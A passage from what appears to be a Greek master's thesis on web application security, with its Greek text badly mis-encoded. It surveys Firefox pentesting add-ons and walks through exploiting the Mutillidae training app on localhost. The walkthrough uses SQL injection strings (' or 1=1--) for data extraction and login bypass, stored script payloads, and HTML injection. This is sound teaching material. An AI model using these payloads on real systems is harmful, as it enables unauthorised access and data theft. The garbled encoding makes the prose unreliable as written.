Φξεζηκνπνηείηε θπξίσο γηα penetration testing. 

 

 

Δηθόλα 2.5 Τν Πξόζζεην "Tamper Data 11.01". 

 

 

Γηα λα θαηεβάζεηε ην Πξφζζεην Tamper Data 11.01 ή/θαη γηα πεξηζζφηεξεο πιεξνθνξίεο 

αλαηξέμηε ζηνλ παξαθάησ ηζηφηνπν: 

 https://addons.mozilla.org/el/firefox/addon/tamper-data/ 

 

 

 

 

 

 

https://addons.mozilla.org/el/firefox/addon/tamper-data/


Μεηαπηπρηαθή Γηαηξηβή   Τζάηκνο Διεπζέξηνο 

   23 

 
Θέκαηα Αζθάιεηαο ζηηο Σχγρξνλεο Γηαδηθηπαθέο Δθαξκνγέο 

Τν Πξφζζεην  Live HTTP Headers 0.17, απνθαιχπηεη ρξήζηκα ζηνηρεία ηζηνζειίδσλ, ηα νπνία 

νη πεξηζζφηεξνη ρξήζηεο δελ κπνξνχλ λα δνπλ; Δίλαη απιφ, απνηειεζκαηηθφ θαη δσξεάλ. 

Πξνηείλεηαη γηα θάζε επίπεδν ρξήζηε. Καηά ηελ ρξήζε ηνπ αλνίγεη έλα λέν παξάζπξν 

ρσξηζκέλν ζε ηέζζεξηο (4) θαξηέιεο: Headers, Generator, Config, θαη About. Πιεξνθνξίεο γηα 

Host, server, θαη cookie απεηθνλίδνληαη ζηελ πξψηε θαξηέια. Τν εξγαιείν “Generator” δείρλεη 

ζηνηρεία ηεο ζειίδαο πνπ αθνξνχλ redirects, images, θαη CSS.  

 

 

Δηθόλα 2.6 Τν Πξόζζεην "Live HTTP Headers 0.17". 

 

Γηα λα θαηεβάζεηε ην Πξφζζεην Live HTTP Headers 0.17 ή/θαη γηα πεξηζζφηεξεο πιεξνθνξίεο 

αλαηξέμηε ζηνλ παξαθάησ ηζηφηνπν: 

 https://addons.mozilla.org/el/firefox/addon/live-http-headers/ 

 

 

 

https://addons.mozilla.org/el/firefox/addon/live-http-headers/
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Τν Πξφζζεην HttpFox 0.8.10, αλαιχεη θαη ειέγρεη φιε ηελ εηζεξρφκελε θαη εμεξρφκελε HTTP 

θίλεζε, κεηαμχ browser θαη web server. Οη πιεξνθνξίεο πνπ δηαηίζεληαη αλά αίηεκα (request) 

πεξηιακβάλνπλ: 

 Request and response headers  

 Sent and received cookies  

 Querystring parameters  

 POST parameters  

 Response body  

 

 

Δηθόλα 2.7 Τν Πξόζζεην "HttpFox 0.8.10". 

 

 

Γηα λα θαηεβάζεηε ην Πξφζζεην HttpFox 0.8.10 ή/θαη γηα πεξηζζφηεξεο πιεξνθνξίεο αλαηξέμηε 

ζηνλ παξαθάησ ηζηφηνπν: 

 https://addons.mozilla.org/el/firefox/addon/httpfox/ 

 

 

 

https://addons.mozilla.org/el/firefox/addon/httpfox/?src=search
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Τν Πξφζζεην XSS Me 0.4.5, είλαη έλα εξγαιείν αλίρλεπζεο θαη εθκεηάιιεπζεο εππαζεηψλ 

ηχπνπ reflected Cross-Site Scripting. Γελ κπνξεί λα ρξεζηκνπνηεζεί γηα δνθηκή stored XSS 

εππαζεηψλ. Λεηηνπξγεί κε ηελ ππνβνιή ησλ HTML forms ηεο εθαξκνγήο καο, κε δεδνκέλα πνπ 

είλαη αληηπξνζσπεπηηθά κηαο επίζεζεο XSS. Δπηπιένλ, δελ επηρεηξεί λα ζέζεη ζε θίλδπλν ηελ 

αζθάιεηα ηεο δηαδηθηπαθήο εθαξκνγήο πνπ εμεηάδεη, αιιά ςάρλεη γηα ηα πηζαλά ζεκεία εηζφδνπ 

κηαο επίζεζεο ελάληηα ζην ζχζηεκα. Γελ παξέρεη ιεηηνπξγίεο φπσο: port scanning, packet 

sniffing, password hacking ή firewall attacks. 

 

 

Δηθόλα 2.8 Τν Πξόζζεην "XSS Me 0.4.5". 

 

Γηα λα θαηεβάζεηε ην Πξφζζεην XSS Me 0.4.5 ή/θαη γηα πεξηζζφηεξεο πιεξνθνξίεο αλαηξέμηε 

ζηνλ παξαθάησ ηζηφηνπν: 

 https://addons.mozilla.org/el/firefox/addon/xss-me/ 

 http://labs.securitycompass.com/exploit-me/xss-me/xss-me-faq/ 

 

https://addons.mozilla.org/el/firefox/addon/xss-me/
http://labs.securitycompass.com/exploit-me/xss-me/xss-me-faq/
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2.4 Τν παθέην αζθάιεηαο OWASP Mantra 

Τν OWASP Mantra 9.0.1 είλαη κηα ζπιινγή απφ δσξεάλ εξγαιεία αλνηρηνχ θψδηθα πνπ 

ελζσκαηψλνληαη ζε έλαλ web browser, ηα νπνία κπνξνχλ λα θαλνχλ ρξήζηκα ζε κειεηεηέο 

πιεξνθνξηθήο, εηδηθνχο ειέγρνπ αζθάιεηαο (penetration testers), πξνγξακκαηηζηέο 

δηαδηθηπαθψλ εθαξκνγψλ, εηδηθνχο αζθάιεηαο θιπ. Πξφθεηηαη γηα κηα αλεμάξηεηε πιαηθφξκα, 

πνπ κπνξεί λα ρξεζηκεχζεη ζηελ άζθεζε φισλ ησλ θάζεσλ πνπ πεξηιακβάλεη κηα επίζεζε, 

ζπκπεξηιακβάλνληαο ηελ αλαγλψξηζε, ηε ζάξσζε, ηελ απφθηεζε πξφζβαζεο, ηελ επαχμεζε 

δηθαησκάησλ ρξήζηε, ηε δηαηήξεζε ηεο πξφζβαζεο θαη ηελ θάιπςε ηρλψλ. Δθηφο φισλ απηψλ, 

δηαζέηεη επίζεο θαη έλα ζχλνιν εξγαιείσλ πνπ απεπζχλνληαη ζε πξνγξακκαηηζηέο web 

εθαξκνγψλ θαη  ζε φζνπο αζρνινχληαη κε ηνλ εληνπηζκφ ζθαικάησλ ζε θψδηθα. Τέινο, ην 

Mantra είλαη ειαθξχ, επέιηθην θαη θηιηθφ πξνο ην ρξήζηε. Μπνξεί λα κεηαθεξζεί  ζε θάξηεο 

κλήκεο, ζε flash drives, ζε CD/DVD θιπ. Δίλαη ζε ζέζε λα ιεηηνπξγήζεη ζε ιεηηνπξγηθφ Linux, 

Windows θαη Mac. Η εγθαηάζηαζε ηνπ ινγηζκηθνχ είλαη πνιχ εχθνιε θαη ην πην ζεκαληηθφ 

είλαη φηη είλαη δσξεάλ. 

 

Δηθόλα 2.9 Τν παθέην αζθάιεηαο OWASP Mantra 9.0.1. 

 

 

Γηα λα θαηεβάζεηε ην OWASP Mantra 9.0.1 (Armada) ή/θαη γηα πεξηζζφηεξεο πιεξνθνξίεο 

αλαηξέμηε ζηνλ παξαθάησ ηζηφηνπν: 

 http://www.getmantra.com/index.html 

 

 

http://www.getmantra.com/index.html
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Τν Πξφζζεην Cookies Manager+ 1.5.1, είλαη έλα εξγαιείν πνπ καο επηηξέπεη λα πξνβάινπκε, 

λα επεμεξγαζηνχκε θαη λα δεκηνπξγήζνπκε λέα cookies. Δπίζεο, καο επηηξέπεη λα εκθαλίζνπκε 

επηπιένλ πιεξνθνξίεο ζρεηηθά κε ηα cookies θαη λα ηηο επεμεξγαζηνχκε. Τέινο, ππάξρεη ε 

δπλαηφηεηα  backup θαη restore πνιιαπιψλ cookies. 

 

 

Δηθόλα 2.10 Τν Πξόζζεην "Cookies Manager+ 1.5.1". 

 

 

Γηα λα θαηεβάζεηε ην Πξφζζεην Cookies Manager+ 1.5.1 (αλεμάξηεηα απφ ην OWASP Mantra) 

ή/θαη γηα πεξηζζφηεξεο πιεξνθνξίεο αλαηξέμηε ζηνλ παξαθάησ ηζηφηνπν: 

 https://addons.mozilla.org/el/firefox/addon/cookies-manager-plus/ 

 

 

 

 

https://addons.mozilla.org/el/firefox/addon/cookies-manager-plus/
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Κεθάιαην 3: Αλίρλεπζε, εθκεηάιιεπζε θαη αληηκεηώπηζε εππαζεηώλ 

δηαδηθηπαθώλ εθαξκνγώλ 

3.1 Θέκαηα αζθάιεηαο κε ρξήζε ηεο γιώζζαο PHP επηθεληξσκέλα ζην 

πεξηβάιινλ Mutillidae 

Σην πξψην θεθάιαην θάλακε κία γεληθή αλαθνξά ζηελ ζεκαληηθφηεηα ηεο αζθάιεηαο ζηηο 

δηαδηθηπαθέο εθαξκνγέο. Απφ δσ θαη έπεηηα ζα δνχκε ζέκαηα αζθάιεηαο κε ηελ ρξήζε ηεο 

γιψζζαο PHP θαη πσο κπνξνχκε λα ηα αληηκεησπίζνπκε. Ωζηφζν, ε δηαρείξηζε φισλ απηψλ ησλ 

απεηιψλ απαηηεί πξνζνρή θαη εθεπξεηηθφηεηα απφ ηελ πιεπξά ηνπ πξνγξακκαηηζηή, θαζψο ε 

PHP είλαη κηα ηζρπξή θαη επέιηθηε γιψζζα ε νπνία θάλεη (ζε αληίζεζε κε άιιεο γιψζζεο) 

αθξηβψο απηφ πνπ ηεο έρνπκε πεη, αθφκα θαη αλ έρνπκε παξαβιέςεη θάηη πνπ ζα κπνξνχζε λα 

θάλεη ηελ εθαξκνγή καο πην αζθαιή. 

Αλ ζήκεξα πείηε ζε θάπνηνλ εηδηθφ κε ηα ζέκαηα αζθάιεηαο ζην δηαδίθηπν, φηη έρεηε θαηαθέξεη 

λα δεκηνπξγήζεηε κία απφιπηα αζθαιή δηαδηθηπαθή εθαξκνγή ην πην πηζαλφ είλαη λα ζαο 

θνηηάμεη κε απνξία; θαη απηφ γηαηί ην Γηαδίθηπν είλαη πνιχ επξχ θαη γξήγνξα κεηαβαιιφκελν 

πεξηβάιινλ, γεγνλφο πνπ δελ επηηξέπεη ζηηο on-line εθαξκνγέο λα δειψλνπλ δηαρξνληθά θαη κε 

ζηγνπξηά 100% αζθαιείο. Με ηελ ρξήζε ηεο PHP φκσο, κπνξνχκε λα εθαξκφζνπκε πξαθηηθέο 

αλάπηπμεο αζθαινχο θψδηθα πνπ ζα πξνζθέξεη πξνζηαζία ζηηο εθαξκνγέο καο αθφκα θαη απφ 

ηηο πην «δπλαηέο» επηζέζεηο. 

Σηα θεθάιαηα πνπ αθνινπζνχλ ζα ζπδεηήζνπκε πσο γίλεηαη ε γίλεηαη ε αλίρλεπζε, ε 

εθκεηάιιεπζε θαη ε αληηκεηψπηζε ησλ ηξηψλ (3) αθφινπζσλ εππαζεηψλ ζην πεξηβάιινλ 

Mutillidae: 

 Δππάζεηεο ηχπνπ έγρπζεο θψδηθα (Injection) 

 Δππάζεηεο ηχπνπ Cross-Site Scripting (XSS) 

 Δππάζεηεο πνπ αθνξνχλ ηελ δηαρείξηζε Σπλφδσλ (Session) θαη ηελ Απζεληηθνπνίεζε ησλ 

ρξεζηψλ 

 

 

 

 

Code 
Injection 

Authentication & 

Session 

XSS 
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3.2 Δππάζεηεο ηύπνπ έγρπζεο θώδηθα (code Injection) 

Οη εππάζεηεο ηχπνπ code injection (επίζεζε κε πξνζζήθε θαθφβνπινπ θψδηθα ζε έλα ζχζηεκα) 

εκθαλίδνληαη ζπρλά ζηηο δηαδηθηπαθέο εθαξκνγέο. Υπάξρνπλ πνιιψλ εηδψλ injections: SQL, 

HTML, XML, XSS, Command, LDAP θαη άιιεο. 

Τν Code Injection, είλαη ε εθκεηάιιεπζε ελφο ιάζνπο (bug) ηεο εθαξκνγήο, πνπ επηηπγράλεηαη 

κε ηελ εθηέιεζε κε έγθπξνπ θψδηθα . Απηνχ ηνπ ηχπνπ επηζέζεηο, κπνξνχλ λα ρξεζηκνπνηεζνχλ 

απφ έλαλ εηζβνιέα, ψζηε λα εηζαγάγεη θψδηθα ζε έλα ινγηζκηθφ, πξνθεηκέλνπ λα αιιάμεη ηελ 

πνξεία ηεο εθηέιεζεο ηνπ. Τα απνηειέζκαηα κηαο ηέηνηαο επίζεζεο, κπνξεί λα είλαη 

θαηαζηξνθηθά. Τα ζθάικαηα απηνχ ηνπ είδνπο επηηξέπνπλ ζηνπο επηηηζέκελνπο λα δεκηνπξγνχλ, 

λα δηαβάδνπλ θαη λα δηαγξάθνπλ ηα δεδνκέλα πνπ είλαη δηαζέζηκα ζηελ εθαξκνγή. 

΋ηαλ εηζάγεη δεδνκέλα ν ρξήζηεο θαη απηά κεηαθέξνληαη ζηνλ δηεξκελεπηή (interpreter) ή 

κεηαγισηηηζηή (compiler)
[9]

 ρσξίο λα ειεγρζνχλ ή λα θσδηθνπνηεζνχλ, ηφηε ε εθαξκνγή είλαη 

επάισηε ζε επηζέζεηο έγρπζεο θψδηθα. Σε κία εθαξκνγή δελ πξέπεη πνηέ ηα δεδνκέλα πνπ 

εηζάγεη ν ρξήζηεο, λα ηξνθνδνηνχληαη ζε δπλακηθά Queries. 

΋πσο θαηαιαβαίλεη θαλείο ην ζέκα ηεο έγρπζεο θψδηθα (code injection) είλαη έλα ηεξάζηην 

ζέκα, πνπ πεξηιακβάλεη αξθεηέο δηαθνξεηηθέο γιψζζεο θαη πεξηβάιινληα, θαη κηα κεγάιε 

πνηθηιία δηαθνξεηηθψλ επηζέζεσλ. Θα ήηαλ δπλαηφλ λα γξάςεη θαλείο νιφθιεξν βηβιίν ζε 

νπνηαδήπνηε απφ απηέο ηηο πεξηνρέο, εμεξεπλψληαο φιν ην ζεσξεηηθφ ππφβαζξν γηα ην πσο 

πξνθχςνπλ θαη κπνξνχλ λα αμηνπνηεζνχλ νη εππάζεηεο. Δπεηδή φκσο απηή είλαη κηα 

Μεηαπηπρηαθή Γηαηξηβή κε ζαθή ζηφρν, ζα εζηηάζνπκε αλειεψο ζηηο γλψζεηο, ηα εξγαιεία θαη 

ηηο ηερληθέο πνπ ζα ρξεηαζηνχλ γηα ηελ εθκεηάιιεπζε ησλ εππαζεηψλ φπσο απηέο 

παξνπζηάδνληαη ζην πεξηβάιινλ Mutillidae.  

 

Δηθόλα 3.1 Δππάζεηεο ηύπνπ έγρπζεο θώδηθα ζην Mutillidae 
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3.2.1 Πσο γίλεηαη ε αλίρλεπζε ηεο εππάζεηαο 

Η κεζνδνινγία γηα ηελ αλίρλεπζε εππαζεηώλ ηύπνπ έγρπζεο θώδηθα
[10]

 εμαξηάηαη απφ ηε 

γιψζζα πνπ είλαη γξακκέλε ε εθαξκνγή πνπ ζέινπκε λα επηηεζνχκε θαη απφ ηηο ηερληθέο 

πξνγξακκαηηζκνχ πνπ ρξεζηκνπνηνχληαη ζηελ εθαξκνγή. Δκείο ζα αλαθεξζνχκε ζε εθαξκνγέο 

πνπ είλαη γξακκέλεο ζηελ γιψζζα PHP, σζηφζν απηή ε κεζνδνινγία κπνξεί λα ρξεζηκνπνηεζεί 

θαη σο γεληθή πξνζέγγηζε. Έρνπκε ινηπφλ σο εμήο: 

 

1. Φξήζε θψδηθα κε απξνζδφθεηε ζχληαμε πνπ κπνξεί λα πξνθαιέζεη πξνβιήκαηα ζην 

πιαίζην ηεο ζχληαμεο ηεο ζπγθξηκέλεο  γιψζζαο. 

2. Αλαγλψξηζε ηπρφλ αλσκαιηψλ απφ ηελ απάληεζε ηεο εθαξκνγήο πνπ κπνξεί λα 

ππνδεηθλχεη ηελ  παξνπζία εππάζεηαο. 

3. Δάλ ιάβνπκε κελχκαηα ιάζνπο, ηα εμεηάδνπκε κήπσο κπνξέζνπκε θαη ζπγθεληξψζνπκε 

ζηνηρεία ζρεηηθά κε ην πξφβιεκα πνπ εκθαλίζηεθε ζην δηαθνκηζηή. 

4. Δάλ είλαη απαξαίηεην, ηξνπνπνηνχκε ηνλ αξρηθφ θψδηθα, κε δηάθνξνπο ηξφπνπο, ζε κηα 

πξνζπάζεηα λα επηβεβαηψζνπκε ή λα δηαςεχζνπκε ηε δηάγλσζε κηαο γηα ηελ εππάζεηα. 

5. Καηαζθεπάδνπκε έλα θνκκάηη θψδηθα πνπ απνδεδεηγκέλα θαη θαη’ επαλάιεςε πξνθαιεί 

ηελ ίδηα ιαλζαζκέλε αληίδξαζε απφ ηελ εθαξκνγή. 

6. Δθκεηαιιεπφκαζηε ηελ εππάζεηα γηα ηελ επίηεπμε ησλ ζηφρσλ καο. 

 

Έρνληαο ινηπφλ σο γεληθφ νδεγφ ηελ παξαπάλσ κεζνδνινγία, ζα πξνβνχκε ζε αλαδήηεζε θαη 

εθκεηάιιεπζε ησλ ζεκαληηθφηεξσλ εππαζεηψλ θάζε θαηεγνξίαο, φπσο απηέο παξνπζηάδνληαη 

ζην Mutillidae. 
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3.2.2 Τερληθέο εθκεηάιιεπζεο ηεο εππάζεηαο 

΋πσο αλαθέξακε θαη λσξίηεξα, εππάζεηεο ηχπνπ Injection ζπκβαίλνπλ φηαλ κηα εθαξκνγή 

ζηέιλεη κε αμηφπηζηα δεδνκέλα ζηνλ δηεξκελεπηή (interpreter). Τέηνηνπ είδνπο εππάζεηεο, είλαη 

εχθνιν λα αλαθαιπθζνχλ αλ έρνπκε πξφζβαζε ζηνλ πεγαίν θψδηθα, αιιά πην δχζθνιν αλ 

επηρεηξήζνπκε αλίρλεπζε κέζσ δνθηκψλ. Δξγαιεία φπσο Scanners θαη Fuzzers κπνξνχλ λα 

βνεζήζνπλ ηνπο επηηηζέκελνπο λα αλαθαιχςνπλ ηέηνηεο εππάζεηεο. 

Σε απηφ ην ζεκείν, ζα δνχκε θαηά ζεηξά ηηο εππάζεηεο ηεο θαηεγνξίαο “A1 –Injection”, φπσο 

απηέο παξνπζηάδνληαη ζην πεξηβάιινλ Mutillidae.  

1. A1 – Injection  SQLi - Extract Data  User Info  

΋πσο θαίλεηαη ζε απηή ηελ θαηεγνξία ζα ζπλαληήζνπκε απεηιέο ηχπνπ “SQL Injection” θαη 

φπσο έρνπκε αλαθέξεη ζην Mutillidae γίλεηαη ρξήζε ηεο γιψζζαο PHP θαη ηνπ ζπζηήκαηνο 

βάζεσλ δεδνκέλσλ MySQL, νπφηε θξίλεηαη ζθφπηκν λα δνχκε ηα βαζηθά ζηνηρεία ελφο 

“MySQL Select Query”. Έηζη έρνπκε: 

Δπηινγή ζηνηρείσλ απφ έλαλ πίλαθα ηεο βάζεο δεδνκέλσλ: Η εληνιή SELECT 

ρξεζηκνπνηείηαη γηα ηελ επηινγή ζηνηρείσλ απφ κηα βάζε δεδνκέλσλ. 

Σχληαμε: SELECT column_name(s) FROM table_name 

Παξάδεηγκα: SELECT * FROM Users WHERE username='$myusername' and 

password='$mypassword'"; 

 

Τν παξαπάλσ, απνηειεί θιαζζηθφ παξάδεηγκα ηαπηνπνίεζεο ζηνηρείσλ, γηα ηελ ζχλδεζε (Log 

In) ελφο ρξήζηε ζην ζχζηεκα. Σε πξψηε θάζε απηφ πνπ έρεη ζεκαζία είλαη λα δνχκε, είλαη νη 

εηδηθνί ραξαθηήξεο (Special characters) πνπ ρξεζηκνπνηνχληαη ζε κία ηέηνηα εληνιή. Τα κνλά 

εηζαγωγηθά (Single-quotes) νη παξελζέζεηο θαη ε πιάγηνο (Backslash) ζπρλά δεκηνπξγνχλ 

πξνβιήκαηα ζε βάζεηο δεδνκέλσλ ΜySQL. Σε δεχηεξε θάζε, ηα κελύκαηα ιάζνπο (Error 

messages) πνπ πξνθχπηνπλ απφ ηελ «ιαλζαζκέλε» ζχληαμε ελφο SQL Query κπνξεί λα είλαη 

άξηζηεο πεγέο πιεξνθνξηψλ. 

Οη πξνγξακκαηηζηέο, είλαη ζπρλά αθειήο ζρεηηθά κε ηα κελχκαηα ιάζνπο θαη επηηξέπνπλ ζηηο 

εθαξκνγέο ηνπο λα εκθαλίδνπλ ηα ζθάικαηα αληί λα ηα θαηαγξάθνπλ ζε log files. Οη αζθαιείο 

δηαδηθηπαθέο εθαξκνγέο ρξεζηκνπνηνχλ μερσξηζηέο ζειίδεο γηα ηελ αλαθνξά ζθαικάησλ, νη 

νπνίεο δελ εκθαλίδνπλ θαλέλα κήλπκα ιάζνπο. Πξνθεηκέλνπ λα βξνχκε έλα κήλπκα ιάζνπο 

ζρεηηθφ κε SQL Injection ζπλήζσο πξέπεη λα παξαπνηήζνπκε ην SQL Query θαηά πεξίζηαζε. 
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Μεηαβαίλνληαο ινηπφλ ζηελ θαηεγνξία A1 – Injection  SQLi - Extract Data  User Info , ζα 

πξνζπαζήζνπκε εθαξκφδνληαο φζα αλαθέξακε παξαπάλσ, λα απνζπάζνπκε ζηνηρεία ρξεζηψλ 

δνθηκάδνληαο ζην πεδίν “Name” σο είζνδν ηνλ ραξαθηήξα «\», παίξλνπκε ην εμήο κήλπκα 

ιάζνπο:  « SELECT * FROM accounts WHERE username=''' AND password='' ». 

 

 

Δηθόλα 3.2 Μήλπκα ιάζνπο - SQL Injection 

 

Τν γεγνλφο φηη μέξνπκε από ην κήλπκα ιάζνπο ηελ αθξηβή ζύληαμε ηνπ SQL Query, είλαη 

εμαηξεηηθά ζεηηθφ γηα εκάο. Η πην δηαδεδνκέλε επίζεζε SQL Injection είλαη ν εμαλαγθαζκφο 

επηινγήο ελφο εγθχξνπ πεδίνπ απφ ηελ βάζε δεδνκέλσλ επεηδή κηα ζπλζήθε είλαη αιεζήο. 

Πξαθηηθά απηφ γίλεηαη σο εμήο: 

SELECT * FROM accounts WHERE username='' or 1=1-- ' AND password=' ' 

΋κσο, ηη πξαγκαηηθά γίλεηαη ζηελ παξαπάλσ εληνιή;  

 Τν πξψην εηζαγσγηθφ «'»  θιείλεη ηελ είζνδν ηνπ νξίζκαηνο “username” ηνπ SQL Query.   

 Έπεηηα δεκηνπξγείηαη κηα ζπλζήθε πνπ είλαη πάληα αιεζήο: or 1=1 

 Τέινο θιείλνπκε ην SQL Query κε ρξήζε δχν παπιψλ θαη ελφο θελνχ ραξαθηήξα 

(MySQL double-dash comment style “-- ”): --– . Έηζη φηη αθνινπζεί ζεσξείηε ζρφιην. 
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Γνθηκάδνληαο ζην πεδίν “Name” ηελ είζνδν «' or 1=1-- », παίξλνπκε ην εμήο απνηέιεζκα: 

 

 

Δηθόλα 3.3 Δπηηπρεκέλε επίζεζε SQL Injection. 

 

 

2. A1 – Injection  SQLi - Bypass Authentication  Login 

΋πσο θαίλεηαη θαη ζε απηή ηελ θαηεγνξία ζα ζπλαληήζνπκε απεηιέο ηχπνπ “SQL Injection”, 

επνκέλσο ζα θηλεζνχκε αθξηβψο φπσο θαη παξαπάλσ. 

Μεηαβαίλνληαο ζηελ θαηεγνξία A1 – Injection  SQLi - Bypass Authentication  Login , ζα 

πξνζπαζήζνπκε λα εηζέιζνπκε ζην ζχζηεκα δνθηκάδνληαο πάιη ζην πεδίν “Name” ηελ είζνδν 

«' or 1=1-- ». Έηζη, παίξλνπκε ην εμήο απνηέιεζκα: 

 

Δηθόλα 3.4 Δπηηπρεκέλε επίζεζε SQLi (Bypass Authentication). 
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Παξαηήξεζε: Ο ιφγνο πνπ έγηλε είζνδνο ζην ζχζηεκα κε ην username: admin, είλαη επεηδή ε 

αιεζήο ζπλζήθε “or 1=1” αλαγθάδεη ηελ MySQL λα επηζηξέςεη ηελ πξψηε εγγξαθή ηνπ πίλαθα 

“accounts”. 

 

 

Δηθόλα 3.5 Ο πίλαθαο "accounts". 

 

Δλαιιαθηηθά ζα κπνξνχζακε λα πξαγκαηνπνηήζνπκε ηελ παξαπάλσ επίζεζε δνθηκάδνληαο ζην 

πεδίν “Name” ηελ είζνδν «john» θαη ζην πεδίν “ Password” ηελ είζνδν «' or 1=1-- ». Έηζη, 

παίξλνπκε ην εμήο απνηέιεζκα: 

 

 

Δηθόλα 3.6 Γεύηεξε επηηπρεκέλε επίζεζε SQLi (Bypass Authentication). 

 

Παξαηεξνύκε φηη πάιη έγηλε είζνδνο σο “admin”, απηφ ζπκβαίλεη γηαηί ην «' or 1=1-- » 

επεξεάδεη νιφθιεξν ην SQL Query θαη φρη κφλν ην password. 

SELECT * FROM accounts WHERE username='john' AND password='' or 1=1--  ' 
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Δπηπιένλ, ζα κπνξνχζακε λα πξαγκαηνπνηήζνπκε ηελ παξαπάλσ επίζεζε δνθηκάδνληαο ζην 

πεδίν “Name” ηελ είζνδν «john» θαη ζην πεδίν “ Password” ηελ είζνδν «' or (1=1 and username = 

'john') -- ». Έηζη, δεκηνπξγνχκε ην παξαθάησ SQL Querry: 

SELECT * FROM accounts WHERE username='john' AND password='' or (1=1 and username = 'john') -- 

Με απηφλ ηνλ ηξφπν δηαιέγνπκε απφ ηνλ πίλαθα “accounts” κφλν φζα πεδία έρνπλ “Username” 

ίζν κε “john” θαη “password” ίζν κε {“ ” ή “1=1”}. Αλ ζέινπκε κπνξνχκε λα πάκε ζε κία πην 

θαηαλνεηή ζχληαμε πνπ πξαθηηθά είλαη ην ίδην:  

SELECT * FROM accounts WHERE username='john' AND password='' + password --   

Με ηελ εθηέιεζε ησλ παξαπάλσ, παίξλνπκε ην εμήο απνηέιεζκα: 

 

Δηθόλα 3.7 SQLi - Δίζνδνο σο ζπγθεθξηκέλνο ρξήζηεο. 

 

 

Δηθόλα 3.8 Αιιαγή θόξκαο γηα ιόγνπο επθξίλεηαο, κε ηελ βνήζεηα ηνπ Firebug. 
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3. A1 – Injection  SQLi - Insert Injection  Register 

΋πσο θαίλεηαη θαη ζε απηή ηελ θαηεγνξία ζα ζπλαληήζνπκε απεηιέο ηχπνπ “SQL Injection”, 

επνκέλσο ζα θηλεζνχκε αθξηβψο φπσο θαη παξαπάλσ. Τν δεηνχκελν ζε απηφ ην ζεκείν, είλαη λα 

πξνζζέζνπκε έλα ηκήκα θαθφβνπινπ θψδηθα ζην πεδίν “Signature” νχηνο ψζηε φηαλ πάκε λα 

ζπλδεζνχκε κε ηα ζηνηρεία καο ε θφξησζε ηνπ πεδίνπ “Signature” λα πξνθαιέζεη απξφζκελε 

ζπκπεξηθνξά ζην ζχζηεκα. 

Μεηαβαίλνληαο ζηελ θαηεγνξία A1 – Injection  SQLi - Insert Injection  Register , ζα 

θάλνπκε εγγξαθή κε ηα εμήο ζηνηρεία: 

 Username: etsaimos  

 Password: 123456  

 Confirm Password: 123456  

 Signature: <script>alert("Hello! I am Eleftherios Tsaimos and you have been 

HACKED!");</script> 

 

Παξαηήξεζε: Αλ θάλνπκε ρξήζε ηνπ ραξαθηήξα «'», ηφηε ζα πξνθαιέζνπκε ζπληαθηηθφ ιάζνο 

θαζψο ζα ηεξκαηηζηεί απξφζκελα ην string, θαη έηζη δελ ζα πξαγκαηνπνηεζεί ε εγγξαθή. 

 

Πεγαίλνπκε ζηελ ζειίδα http://localhost/mutillidae/index.php?page=login.php πξνθεηκέλνπ λα 

ζπλδεζνχκε ζην ζχζηεκα (Username: etsaimos , Password: 123456). Παίξλνπκε ην εμήο 

απνηέιεζκα: 

 

 

Δηθόλα 3.9 Register Injection - Alert Box 

 

http://localhost/mutillidae/index.php?page=login.php
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Δλαιιαθηηθά, ζα κπνξνχζακε λα πξαγκαηνπνηήζνπκε ηελ παξαπάλσ επίζεζε δνθηκάδνληαο ζην 

πεδίν “Signature” ηελ είζνδν “<script>window.location.reload()</script>”. Έηζη, παίξλνπκε ην 

εμήο απνηέιεζκα: 

 

 

Δηθόλα 3.10 Register Injection - Reload Script 

 

Δχθνια θαηαιαβαίλεη θαλείο πσο ην πφζν ηζρπξή κπνξεί λα είλαη κηα ηέηνηα επίζεζε, επαθίεηαη 

ηφζν ζηηο πξνγξακκαηηζηηθέο ηθαλφηεηεο θαη ηελ θαληαζία ηνπ επηηηζέκελνπ, φζν θαη ζην 

επίπεδν αζθάιεηαο ηνπ ζπζηήκαηνο πνπ γίλεηαη ε επίζεζε. Δίλαη γεγνλφο, φηη απφ ηελ ζηηγκή 

πνπ αλαθαιπθζεί κηα εππάζεηα ζην ζχζηεκα, ν επηηηζέκελνο ζα αθηεξώζεη ρξόλν αλάινγν ηεο 

θξηζηκόηεηαο ηεο εππάζεηαο, πξνθεηκέλνπ λα θαηαθέξεη απηφ πνπ ζέιεη. ΋ζν θξηζηκφηεξε ε 

εππάζεηα ηφζν κεγαιχηεξνο θαη ν δήινο ηνπ εθάζηνηε επηηηζέκελνπ. 

Θα πξνζπεξάζνπκε ηηο θαηεγνξίεο “Blind SQL via Timing” θαη “SQLMAP Practice Target” 

θαζψο νη επηζέζεηο θηλνχληαη ζην ίδην κνηίβν κε ηηο πξνεγνχκελεο, νπφηε αθήλεηαη ζηνλ 

αλαγλψζηε ε επηπιέσλ ελαζρφιεζε κε απηνχ ηνπ ηχπνπ ηηο εππάζεηεο. 
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4. A1 – Injection  HTMLi  Add to your blog 

΋πσο θαίλεηαη ζε απηή ηε θαηεγνξία ζα ζπλαληήζνπκε απεηιέο ηχπνπ “HTML Injection”. 

Απηνχ ηνπ ηχπνπ νη απεηιέο αλαθέξνληαη ζηελ εηζαγσγή θαθφβνπινπ θψδηθα ζε HTML, ν 

νπνίνο επεξεάδεη ηνλ ηειηθφ ρξήζηε. 

Μεηαβαίλνληαο ζηελ θαηεγνξία A1 – Injection  HTMLi  Add to your blog , ζα 

πξνζζέζνπκε κία λέα θαηαρψξεζε ζην Blog, σο εμήο: 

<p style="color:#CC1100;margin-left:120px;margin-top:-420px;font-size:40px;">Hello world! 

This is an HTMLi example.</p> 

Παξαηήξεζε: Δίλαη θψδηθαο HTML κε εκθσιεπκέλν θψδηθα CSS (Inline CSS). 

 

Πξνζζέηνπκε ησλ θψδηθα θαη θάλνληαο απνζήθεπζε, βιέπνπκε απ’ επζείαο ην αθφινπζν 

απνηέιεζκα: 

 

Δηθόλα 3.11 Παξάδεηγκα HTML Injection. 
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5. A1 – Injection  HTMLi via HTTP Headers  Site Footer 

Σε απηή ηε θαηεγνξία ζα ζπλαληήζνπκε απεηιέο ηχπνπ HTMLi πνπ αθνξνχλ ηα πεδία ηεο HTTP 

επηθεθαιίδαο. Πην ζπγθεθξηκέλα, απηά ηα πεδία ζπληεινχλ έλα κήλπκα ην νπνίν δηαρσξίδεηαη 

ζε αηηήκαηα (requests) θαη απαληήζεηο (responses), εδψ ζπλαληάκε ην πεδίν User-Agent (ην 

νπνίν αλήθεη ζηελ θαηεγνξία ησλ αηηεκάησλ) θαη πεξηέρεη πιεξνθνξίεο ζρεηηθά κε ηνλ πειάηε 

